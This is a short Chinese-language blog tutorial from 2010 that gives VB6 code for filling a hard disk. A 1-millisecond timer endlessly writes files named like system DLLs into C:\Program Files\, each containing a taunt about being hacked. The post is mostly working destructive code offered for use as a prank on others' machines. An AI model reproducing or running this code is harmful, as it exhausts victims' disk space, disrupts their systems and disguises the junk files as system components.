现在的位置: 首页 > 程序开发 > 正文

vb6制作随机产生文件塞满硬盘

2010年09月13日 程序开发 ⁄ 共 473字 ⁄ 字号 暂无评论

首先新建一个.exe工程,然后在窗体中加入timer控件,设置timer的interval=1,双点timer控件,输入以下代码
Private Sub Timer1_Timer()

Dim files As String
Dim nr As String
Dim c As String
Static count As Long  ‘声明变量,其中“count”为静态变量,以便生成不同的文件
c = "c:\Program Files\" ’定义要把生成的文件存放在那个目录文件下
nr = "哈哈,被黑的感觉的不错吧"  ’生成文件的内容
files = FreeFile
If a = a Then  ’如果a等于a那么就执行
count = count + 1  ’count不断的加1,以便产生不同的文件名
Open c & "system" & count & ".dll" For Append As #files  ’产生文件名及文件句柄,并用count作为产生不同的文件名。
Write #files, nr  ’向文件写内容
Close #files      ’清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
End If

End Sub

给我留言

留言无头像?


×